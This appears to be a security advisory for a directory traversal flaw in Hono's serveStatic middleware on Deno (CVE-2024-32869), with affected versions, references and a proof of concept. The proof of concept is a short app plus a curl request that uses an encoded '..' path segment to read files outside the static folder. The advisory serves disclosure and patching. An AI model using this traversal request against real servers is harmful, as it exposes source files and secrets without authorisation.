GHSA-3mpf-rcc7-5347
Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
En bref
- Publiée
- Mise à jour
- CVE
- CVE-2024-32869
- CVSS_V3
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Description
### Summary When using serveStatic with deno, it is possible to directory traverse where main.ts is located. My environment is configured as per this tutorial https://hono.dev/getting-started/deno ### PoC ```bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt ``` source ```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts' const app = new Hono() app.use('/static/*', serveStatic({ root: './' })) Deno.serve(app.fetch) ``` request ```bash curl localhost:8000/static/%2e%2e/main.ts ``` response is content of main.ts ### Impact Unexpected files are retrieved.
Paquets affectés
| Paquet | Versions |
|---|---|
| npm · hono | introduced 0, fixed 4.2.7 |
Références
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347 WEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-32869 ADVISORY
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65 WEB
- https://github.com/honojs/hono PACKAGE
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |